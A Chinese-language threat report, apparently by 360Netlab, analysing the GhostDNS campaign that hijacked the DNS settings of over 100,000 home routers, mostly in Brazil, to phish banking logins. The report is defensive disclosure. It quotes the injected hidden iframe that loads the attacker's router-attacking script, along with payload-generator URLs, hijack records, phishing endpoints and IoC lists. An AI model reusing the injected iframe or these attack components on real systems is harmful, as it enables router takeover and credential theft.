GhostDNS正在針對巴西地區70種、100,000+家用路由器做惡意DNS劫持

路由器谷歌域名劫持 · 發表 2018-09-29 12:20:45

摘要：背景介紹從2018年9月20號開始，360Netlab Anglerfish蜜罐系統監測到網際網路上有大量IP正在針對性地掃描路由器系統。攻擊者嘗試對路由器Web認證頁面進行口令猜解或者通過dnscfg.cgi漏洞利用繞過身份認證，然後通過相應DNS配置介面篡改路由器預設DNS地址為R...

背景介紹

從2018年9月20號開始，360Netlab Anglerfish蜜罐系統監測到網際網路上有大量IP正在針對性地掃描路由器系統。攻擊者嘗試對路由器Web認證頁面進行口令猜解或者通過dnscfg.cgi漏洞利用繞過身份認證，然後通過相應DNS配置介面篡改路由器預設DNS地址為Rogue DNS Server[ ofollow,noindex" target="_blank">1] 。

我們共發現3套成熟的DNSChanger程式，根據其程式語言特性我們將它們分別命名為Shell DNSChanger，Js DNSChanger，PyPhp DNSChanger。目前這3套DNSChanger程式由同一個惡意軟體團伙運營，其中以PyPhp DNChanger部署規模最大。根據其功能特性，我們將它們統一命名為DNSChanger System。

事實上DNSChanger System是該惡意軟體軟體團伙運營系統中的一個子系統，其它還包括：Phishing Web System，Web Admin System，Rogue DNS System。這4個系統之間相互協同運作實現DNS劫持功能，我們將這整個系統命名為GhostDNS。

我們發現一夥攻擊者利用GhostDNS系統攻擊了巴西地區超過 70 種、 100,000 個家用路由器，通過篡改這些路由器上的配置，攻擊者劫持了這些路由器的DNS解析，並進一步竊取了路由器使用者在 50+ 網站上的登入憑證、銀行帳號等資訊。被劫持通訊的網站主要涉及銀行，雲主機服務商等網站，其中也包括avira安全公司。

GhostDNS系統

GhostDNS系統是由4個子系統組成，分別是：DNSChanger System，Phishing Web System，Web Admin System，Rogue DNS System等。其中DNSChanger System中主要包括資訊蒐集，漏洞利用等階段，另外在3套DNSChanger程式中也會有不同的實現方式。

圖1：GhostDNS流程圖

DNSChanger System

DNSChanger System是GhostDNS的基礎架構，攻擊者通過3套DNSChanger程式，覆蓋外網和內網攻擊入口，包含 100+ 個攻擊指令碼，影響 70+ 款路由器型號。

圖2：3套DNSChanger程式對比圖

Shell DNSChanger 分析

Shell DNSChanger最後一次更新時間在2016年6月左右，主要通過Shell 編寫完成共涉及25個攻擊指令碼，可以感染21款路由器/韌體。它的功能結構主要分為：掃描程式和攻擊程式。攻擊者目前對Shell DNSChanger程式部署量很少，基本已經淘汰了該程式。

攻擊者採用了一款第三方程式 Fast HTTP Auth Scanner v0.6（FScan）作為掃描程式，同時配置了大量掃描規則,使用者口令列表以及一些啟動指令碼。Fscan掃描IP範圍是經過挑選的一個網段列表，同時這些網段IP大部分都歸屬於巴西。

攻擊程式通過掃描程式蒐集到的路由器裝置資訊，對這些路由器Web認證頁面進行口令猜解，然後通過相應DNS配置介面篡改路由器預設DNS地址為Rogue DNS Server。

以下是Shell DNSChanger關鍵程式碼結構

├── brasil
├── changers
│├── 3com1
│├── aprouter
│├── dlink1
│├── dlink2
│├── dlink3
│├── dlink4
│├── dlink5
│├── dlink6
│├── dlink7
│├── dlink7_
│├── globaltronic
│├── huawei
│├── intelbrass
│├── kaiomy
│├── mikrotik
│├── oiwtech
│├── ralink
│├── realtek
│├── speedstream
│├── speedtouch
│├── speedtouch2
│├── tplink1
│├── tplink2
│├── tplink3
│├── triz
│└── viking
├── configs
├── logs
├── mdetector
├── mikrotik
├── ralink
├── src
│├── BasicAuth.cpp
│├── Makefile
│├── Net-Telnet-3.03.tar.gz
│├── base64.cpp
│├── config.cpp
│├── fscan.cpp
│├── md5.cpp
│├── md5.h
│├── sockets.cpp
│├── sslscanner.h
│├── ulimit
│└── webforms.cpp
├── .fscan
└── .timeout

以下是已識別受影響的路由器/韌體

3COM OCR-812
AP-ROUTER
D-LINK
D-LINK DSL-2640T
D-LINK DSL-2740R
D-LINK DSL-500
D-LINK DSL-500G/DSL-502G
Huawei SmartAX MT880a
Intelbras WRN240-1
Kaiomy Router
MikroTiK Routers
OIWTECH OIW-2415CPE
Ralink Routers
SpeedStream
SpeedTouch
Tenda
TP-LINK TD-W8901G/TD-W8961ND/TD-8816
TP-LINK TD-W8960N
TP-LINK TL-WR740N
TRIZ TZ5500E/VIKING
VIKING/DSLINK 200 U/E

Js DNSChanger 分析

Js DNSChanger主要通過Java Script編寫完成共涉及10個攻擊指令碼，可以感染6款路由器/韌體。它的功能結構主要分為掃描程式，Payload生成器和攻擊程式。Js DNSChanger程式一般會注入到一些釣魚網站程式碼中，和Pishing Web System協同工作。

我們在 35.236.25.247 （網站標題為：Convertidor Youtube Mp3 | Mp3 youtube）首頁發現了Js DNSChanger程式碼。

<iframe src="http://193.70.95.89/2021/"frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe>

攻擊者通過Image()函式對一個預定義的內網IP地址進行埠掃描，如果檢測到埠開放會將該內網IP上報給Payload生成器。

#掃描程式
http://193.70.95.89/2021/index2.php

Payload生成器會根據路由器IP和Rogue DNS IP生成相應Base64編碼的Payload，然後通過Data URI Scheme形式執行相應HTML程式碼。

#Payload生成器
http://193.70.95.89/2021/api.init.php?d=192.168.1.1

攻擊程式通過jQuery.ajax構造相應Http請求，對這些路由器Web認證頁面進行口令猜解，然後通過相應DNS配置介面篡改路由器預設DNS地址為Rogue DNS Server。

以下是Js DNSChanger部分程式碼結構：

├── api.init.php
├── index.php
└── index2.php

以下是已識別受影響的路由器/韌體

A-Link WL54AP3 / WL54AP2
D-Link DIR-905L
Roteador GWR-120
Secutech RiS Firmware
SMARTGATE
TP-Link TL-WR841N / TL-WR841ND

以下是其掃描IP範圍

192.168.0.1
192.168.15.1
192.168.1.1
192.168.25.1
192.168.100.1
10.0.0.1
192.168.2.1

PyPhp DNSChanger 分析

PyPhp DNSChanger程式在2018年4月26號左右完成開發，主要通過python和php編寫完成，共涉及 69 個攻擊指令碼，可以感染 47 款路由器/韌體。它的功能結構主要分為Web API，掃描程式和攻擊程式。攻擊者一般會在雲伺服器部署大量PyPhp DNSChanger程式例項，這也是攻擊採用的DNSChanger主要攻擊手段。我們已累計發現 100+ PyPhp DNSChanger掃描節點，其中有大量IP位於Google雲。

Web API是和Admin Web System通訊的介面，攻擊者可以通過它控制各個掃描節點，比如執行掃描任務等。

掃描程式包括Masscan埠掃描和利用Shodan API篩選banner特徵獲取到相應路由器裝置IP資訊。Masscan掃描IP範圍是經過挑選的一個網段列表，這些網段IP大部分都歸屬於巴西。另外Shodan API搜尋條件也限制了只搜尋巴西國家。

有意思的是我們在Github上發現一個專案跟攻擊者使用相同的Shodan API Key，並且這個Key是屬於教育研究用途，但我們不確定這個Shodan API Key是否因洩漏而導致被攻擊者利用。

以下是攻擊者使用的Shodan API Key資訊

API key: LI****Lg9P8****X5iy****AaRO
Created: 2017-11-03T16:55:13.425000
Plan: EDU

攻擊程式會根據掃描程式蒐集到的路由器IP資訊，對這些路由器Web認證頁面進行口令猜解或者通過dnscfg.cgi漏洞利用繞過身份認證，然後通過相應DNS配置介面篡改路由器預設DNS地址為Rogue DNS Server。

另外，PyPhp DNSChanger程式還存在感染成功統計頁面，可以清楚地看到每個掃描節點的感染情況。

圖3：一個PyPhp DNSChanger掃描節點統計頁面

以下是PyPhp DNSChanger部分程式碼結構

├── api
├── application
│├── class
││├── routers
│││├── routers.28ZE.php
│││├── routers.AN5506-02-B.php
│││├── routers.ELSYSCPE-2N.php
│││├── routers.PQWS2401.php
│││├── routers.TLWR840N.php
│││├── routers.WR941ND.php
│││├── routers.airos.php
│││├── routers.c3t.php
│││├── routers.cisconew.php
│││├── routers.dlink.905.php
│││├── routers.dlink.dir600.php
│││├── routers.dlink.dir610.php
│││├── routers.dlink.dir610o.php
│││├── routers.dlink.dir615.php
│││├── routers.fiberhome.php
│││├── routers.fiberhomenew.php
│││├── routers.ghotanboa.php
│││├── routers.goahed.php
│││├── routers.greatek.php
│││├── routers.greatek2.php
│││├── routers.gwr120.php
│││├── routers.huawei.php
│││├── routers.intelbras.php
│││├── routers.intelbras.wrn240.php
│││├── routers.intelbras.wrn300.php
│││├── routers.intelbrasN150.php
│││├── routers.linkone.php
│││├── routers.livetimdslbasic.php
│││├── routers.livetimsagecom.php
│││├── routers.mikrotkit.php
│││├── routers.multilaser.php
│││├── routers.oiwtech.php
│││├── routers.othermodels.php
│││├── routers.sharecenter.php
│││├── routers.thomson.php
│││├── routers.timdsl.php
│││├── routers.timvmg3312.php
│││├── routers.wirelessnrouter.php
│││├── routers.wrn1043nd.php
│││├── routers.wrn342.php
│││├── routers.wrn720n.php
│││├── routers.wrn740n.php
│││├── routers.wrn749n.php
│││├── routers.wrn840n.php
│││├── routers.wrn841n.php
│││└── routers.wrn845n.php
││├── routers_py
│││├── WR300build8333.py
│││├── install.sh
│││├── router.ArcherC7.py
│││├── router.FiberLink101.py
│││├── router.GEPONONU.py
│││├── router.PNRT150M.py
│││├── router.QBR1041WU.py
│││├── router.RoteadorWirelessN300Mbps.py
│││├── router.SAPIDORB1830.py
│││├── router.TENDAWirelessNBroadbandrouter.py
│││├── router.TLWR840N.py
│││├── router.TLWR841N.py
│││├── router.TLWR849N.py
│││├── router.TPLINKWR841N.py
│││├── router.TechnicLanWAR54GSv2.py
│││├── router.TendaWirelessRouter.py
│││├── router.WEBManagementSystem.py
│││├── router.WLANBroadbandRouter.py
│││├── router.WebUI.py
│││├── router.WirelessNWRN150R.py
│││├── router.WirelessRouter.py
│││├── router.WiveNGMTrouterfirmware.py
│││├── router.ZXHNH208N.py
│││└── scan
│││├── __init__.py
│││└── password.py
││├── scanner
│││└── class.scanner.utils.php
││├── shodan
│││├── class.shodan.php
│││└── cookie.txt
││├── utils
│││├── class.colors.php
│││├── class.utils.php
│││└── class.webrequest.php
││└── web
││├── blockedtitles
││├── class.web.api.php
││└── class.web.interface.php
│├── config.bruteforce.php
│├── config.init.php
│├── config.layout.php
│├── config.rangelist - bkp.php
│├── config.rangelist.php
│├── config.routers.php
│├── config.scanner.php
│├── launchers
││└── attack
││└── launch
│└── logs
├── logs
│├── change.log
│└── gravar.php
├── parse_logs
└── scanner
├── api.php
├── extrator.php
├── ranged_scanner.php
├── rodar.php
├── rodarlista.php
├── shodan.php
└── teste.py

以下是已識別受影響的路由器/韌體

AirRouter AirOS
Antena PQWS2401
C3-TECH Router
Cisco Router
D-Link DIR-600
D-Link DIR-610
D-Link DIR-615
D-Link DIR-905L
D-Link ShareCenter
Elsys CPE-2n
Fiberhome
Fiberhome AN5506-02-B
Fiberlink 101
GPON ONU
Greatek
GWR 120
Huawei
Intelbras WRN 150
Intelbras WRN 240
Intelbras WRN 300
LINKONE
MikroTik
Multilaser
OIWTECH
PFTP-WR300
QBR-1041 WU
Roteador PNRT150M
Roteador Wireless N 300Mbps
Roteador WRN150
Roteador WRN342
Sapido RB-1830
TECHNIC LAN WAR-54GS
Tenda Wireless-N Broadband Router
Thomson
TP-Link Archer C7
TP-Link TL-WR1043ND
TP-Link TL-WR720N
TP-Link TL-WR740N
TP-Link TL-WR749N
TP-Link TL-WR840N
TP-Link TL-WR841N
TP-Link TL-WR845N
TP-Link TL-WR849N
TP-Link TL-WR941ND
Wive-NG routers firmware
ZXHN H208N
Zyxel VMG3312

Web Admin System

我們對這個系統所瞭解的資訊比較少，但是能夠確認它是屬於Web Admin System，並且跟PyPhp DNSChanger協同工作。

圖4：Web Admin System登入介面

通過Web Admin System登陸框提示資訊“Elite Priv8”，我們認為Elite是攻擊者的一個標誌，Priv8意思是“Private”。同時我們發現跟這個帖子《testador santander banking 2.1 versão beta elitepriv8》[ 2] 採用了同樣的描述。

以下是Web Admin Sever地址

198.50.222.139"AS16276 OVH SAS"

Rouge DNS System

通過對Rouge DNS Server（139.60.162.188）碰撞檢測，我們共發現它劫持了52個域名，主要涉及銀行，雲主機服務商等網站，其中也包括avira安全公司。

以下是Rouge DNS Server（139.60.162.188）劫持細節

{"domain": "avira.com.br", "rdata": ["0.0.0.0"]}
{"domain": "banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bancodobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "clickconta.com.br", "rdata": ["193.70.95.89"]}
{"domain": "contasuper.com.br", "rdata": ["193.70.95.89"]}
{"domain": "credicard.com.br", "rdata": ["198.27.121.241"]}
{"domain": "hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itaupersonnalite.com.br", "rdata": ["193.70.95.89"]}
{"domain": "kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "netflix.com.br", "rdata": ["35.237.127.167"]}
{"domain": "netflix.com", "rdata": ["35.237.127.167"]}
{"domain": "painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "uolhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "www.bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "www.caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "www.citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.credicard.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.com", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.net", "rdata": ["193.70.95.89"]}
{"domain": "www.painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.uol.com.br", "rdata": ["193.70.95.89"]}

以下是其它Rouge DNS Server列表

139.60.162.188"AS395839 HOSTKEY"
139.60.162.201"AS395839 HOSTKEY"
144.22.104.185"AS7160 Oracle Corporation"
173.82.168.104"AS35916 MULTACOM CORPORATION"
18.223.2.98"AS16509 Amazon.com, Inc."
185.70.186.4"AS57043 Hostkey B.v."
192.99.187.193"AS16276 OVH SAS"
198.27.121.241"AS16276 OVH SAS"
200.196.240.104"AS11419 Telefonica Data S.A."
200.196.240.120"AS11419 Telefonica Data S.A."
35.185.9.164"AS15169 Google LLC"
80.211.37.41"AS31034 Aruba S.p.A."

Phishing Web System

Pishing Web System 需要跟Rouge DNS System協同工作，Rouge DNS Server會修改特定域名的A記錄解析結果並返回一個Pishing Web Server地址，然後根據受害者請求的Hostname引導至相應的釣魚網站程式。

通過對193.70.95.89所劫持的域名進行訪問，我們發現攻擊者克隆了相應官方網站的首頁，並篡改了登入表單提交連結為Pishing Web API介面。然後我們對這些釣魚網站首頁進行指紋識別，計算首頁檔案md5，共檢測到 19 款釣魚網站程式。

以下是釣魚程式列表：

md5, url, hostname, pishing web api
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']
492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']
5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/default.html/salvar.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml/Home.do.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml/Home.do.php']
97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']
9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/login.php/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/login.php/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/login.php/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/login.php/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']
d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']
fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']
ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']

以下是其它Phishing Web Server列表

193.70.95.89"AS16276 OVH SAS"
198.27.121.241"AS16276 OVH SAS"
35.237.127.167"AS15169 Google LLC"

被感染的路由器資訊

通過9月21號～9月27號的GhostDNS系統日誌，我們觀察到其已經感染了 100k+ 個路由器IP地址， 70+ 款路由器型號。根據國家進行統計巴西佔比87.8%。由於路由器裝置IP地址會動態更新，實際裝置數會有所不同。

圖5：被感染的路由器IP 國家/地區分佈

以下是被感染的路由器IP 國家/地區詳細列表

BR 91605
BO 7644
AR 2581
SX 339
MX 265
VE 219
US 191
UY 189
CL 138
CO 134
GT 80
EC 71
GY 70
RU 61
RO 51
PY 38
PA 35
UA 34
HN 33
BG 33

以下是感染成功的路由器Web管理頁面title列表

28ZE
ADSL2 PLUS
AIROS
AN550602B
BaseDashboard
C3T Routers
DIR600 1
DIR-615 DLINK
Dlink DIR-610
Dlink DIR-611
DLINK DIR-905L
DSL Router
DSL Router - GKM 1220
ELSYS CPE-2N
FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520
FiberLink101
GoAhead-Boa
GoAhead-Webs
GoAhead-Webs Routers
GoAhed 302
GOTHAN
GREATEK
GWR-120
KP8696X
Link One
Mini_httpd
Multilaser Router
OIWTECH
Proqualit Router
Realtek Semiconductor
Realtek Semiconductor [Title]
Roteador ADSL
Roteador Wireless KLR 300N
Roteador Wireless N 150Mbps
Roteador Wireless N 150 Mbps
Roteador Wireless N 300 Mbps
Roteador Wireless N 300 Mbps [ LinkOne ]
Roteador Wireless N 300 Mbps [Link One]
Roteador Wireless N ( MultiLaser )
Roteador Wireless N [ MultiLaser ]
TENDA
TimDSL
TL-WR740N / TL-WR741ND
TL-WR840N
TL-WR849N
TP-LINK Nano WR702N
TP-LINK Roteador Wireless
TP-LINK Roteador Wireless N WR741ND
TP-LINK TL-WR941HP
TP-LINK Wireless AP WA5210G
TP-LINK Wireless Lite N Router WR740N
TP-LINK Wireless Lite N Router WR749N
TP-LINK Wireless N Gigabit Router WR1043ND
TP-LINK Wireless N Router WR841N/WR841ND
TP-LINK Wireless N Router WR845N
TP-LINK Wireless N Router WR941ND
TP-LINK Wireless Router
TP-LINK WR340G
TP-LINK WR720N
TP-LINK WR740N
TP-LINK WR741N
TP-LINK WR743ND
TP-LINK WR840N
TP-LINK WR841HP
TP-LINK WR841N
TP-LINK WR940N
TP-LINK WR941N
TP-LINK WR949N
Wireless-N Router
Wireless Router
WLAN AP Webserver
ZNID

總結

GhostDNS攻擊程式和攻擊入口多樣性，攻擊流程自動化，規模化，已經對網際網路造成嚴重的安全威脅。

我們特別建議巴西家庭寬頻使用者及時更新路由器軟體系統，檢查路由器DNS地址是否已經被篡改，同時給路由器Web設定複雜的登入憑證。

我們建議相關路由器廠商提升初始密碼複雜度，同時建立完善的軟體系統安全更新機制。

相關安全和執法機構，可以郵件聯絡netlab[at]360.cn獲取被感染的IP地址列表。

聯絡我們

感興趣的讀者，可以在 twitter 或者在微信公眾號 360Netlab 上聯絡我們。

IoC list

#Pishing Web Server
193.70.95.89"AS16276 OVH SAS"
[shutdown] 198.27.121.241"AS16276 OVH SAS"
35.237.127.167"AS15169 Google LLC"

#Rouge DNS Server
139.60.162.188"AS395839 HOSTKEY"
139.60.162.201"AS395839 HOSTKEY"
[shutdown] 144.22.104.185"AS7160 Oracle Corporation"
173.82.168.104"AS35916 MULTACOM CORPORATION"
18.223.2.98"AS16509 Amazon.com, Inc."
185.70.186.4"AS57043 Hostkey B.v."
[shutdown] 192.99.187.193"AS16276 OVH SAS"
[shutdown] 198.27.121.241"AS16276 OVH SAS"
200.196.240.104"AS11419 Telefonica Data S.A."
200.196.240.120"AS11419 Telefonica Data S.A."
35.185.9.164"AS15169 Google LLC"
80.211.37.41"AS31034 Aruba S.p.A."


#Web Admin Server
198.50.222.139"AS16276 OVH SAS"


#DNSChanger Scanner Server
104.196.177.180"AS15169 Google LLC"
104.196.232.200"AS15169 Google LLC"
104.197.106.6"AS15169 Google LLC"
104.198.54.181"AS15169 Google LLC"
104.198.77.60"AS15169 Google LLC"
[shutdown] 198.50.222.139"AS16276 OVH SAS"
35.185.127.39"AS15169 Google LLC"
35.185.9.164"AS15169 Google LLC"
35.187.149.224"AS15169 Google LLC"
35.187.202.208"AS15169 Google LLC"
35.187.238.80"AS15169 Google LLC"
35.188.134.185"AS15169 Google LLC"
35.189.101.217"AS15169 Google LLC"
35.189.125.149"AS15169 Google LLC"
35.189.30.127"AS15169 Google LLC"
35.189.59.155"AS15169 Google LLC"
35.189.63.168"AS15169 Google LLC"
35.189.92.68"AS15169 Google LLC"
35.194.197.94"AS15169 Google LLC"
35.195.116.90"AS15169 Google LLC"
35.195.176.44"AS15169 Google LLC"
35.196.101.227"AS15169 Google LLC"
35.197.148.253"AS15169 Google LLC"
35.197.172.214"AS15169 Google LLC"
35.198.11.42"AS15169 Google LLC"
35.198.31.197"AS15169 Google LLC"
35.198.5.34"AS15169 Google LLC"
35.198.56.227"AS15169 Google LLC"
35.199.106.0"AS15169 Google LLC"
35.199.2.186"AS15169 Google LLC"
35.199.61.19"AS15169 Google LLC"
35.199.66.147"AS15169 Google LLC"
35.199.77.82"AS15169 Google LLC"
35.200.179.26"AS15169 Google LLC"
35.200.28.69"AS15169 Google LLC"
35.203.111.239"AS15169 Google LLC"
35.203.135.65"AS15169 Google LLC"
35.203.143.138"AS15169 Google LLC"
35.203.167.224"AS15169 Google LLC"
35.203.18.30"AS15169 Google LLC"
35.203.183.182"AS15169 Google LLC"
35.203.25.136"AS15169 Google LLC"
35.203.3.16"AS15169 Google LLC"
35.203.48.110"AS15169 Google LLC"
35.203.5.160"AS15169 Google LLC"
35.203.8.203"AS15169 Google LLC"
35.204.146.109"AS15169 Google LLC"
35.204.51.103"AS15169 Google LLC"
35.204.77.160"AS15169 Google LLC"
35.204.80.189"AS15169 Google LLC"
35.205.148.72"AS15169 Google LLC"
35.205.24.104"AS15169 Google LLC"
35.221.110.75"AS19527 Google LLC"
35.221.71.123"AS19527 Google LLC"
35.227.25.22"AS15169 Google LLC"
35.228.156.223"AS15169 Google LLC"
35.228.156.99"AS15169 Google LLC"
35.228.240.14"AS15169 Google LLC"
35.228.244.19"AS15169 Google LLC"
35.228.73.198"AS15169 Google LLC"
35.228.90.15"AS15169 Google LLC"
35.230.104.237"AS15169 Google LLC"
35.230.158.25"AS15169 Google LLC"
35.230.162.54"AS15169 Google LLC"
35.230.165.35"AS15169 Google LLC"
35.231.163.40"AS15169 Google LLC"
35.231.60.255"AS15169 Google LLC"
35.231.68.186"AS15169 Google LLC"
35.232.10.244"AS15169 Google LLC"
35.234.131.31"AS15169 Google LLC"
35.234.136.116"AS15169 Google LLC"
35.234.156.85"AS15169 Google LLC"
35.234.158.120"AS15169 Google LLC"
35.234.77.117"AS15169 Google LLC"
35.234.89.25"AS15169 Google LLC"
35.234.94.97"AS15169 Google LLC"
35.236.117.108"AS15169 Google LLC"
35.236.2.49"AS15169 Google LLC"
35.236.222.1"AS15169 Google LLC"
35.236.246.82"AS15169 Google LLC"
35.236.25.247"AS15169 Google LLC"
35.236.254.11"AS15169 Google LLC"
35.236.34.51"AS15169 Google LLC"
35.237.127.167"AS15169 Google LLC"
35.237.204.11"AS15169 Google LLC"
35.237.215.211"AS15169 Google LLC"
35.237.32.144"AS15169 Google LLC"
35.237.68.143"AS15169 Google LLC"
35.238.4.122"AS15169 Google LLC"
35.238.74.24"AS15169 Google LLC"
35.240.156.17"AS15169 Google LLC"
35.240.212.106"AS15169 Google LLC"
35.240.234.169"AS15169 Google LLC"
35.240.94.181"AS15169 Google LLC"
35.241.151.23"AS15169 Google LLC"
35.242.134.99"AS15169 Google LLC"
35.242.140.13"AS15169 Google LLC"
35.242.143.117"AS15169 Google LLC"
35.242.152.241"AS15169 Google LLC"
35.242.203.94"AS15169 Google LLC"
35.242.245.109"AS15169 Google LLC"
40.74.85.45"AS8075 Microsoft Corporation"

已經被安全社群清除的IP列表：

198.27.121.241"AS16276 OVH SAS"
192.99.187.193"AS16276 OVH SAS"
198.27.121.241"AS16276 OVH SAS"
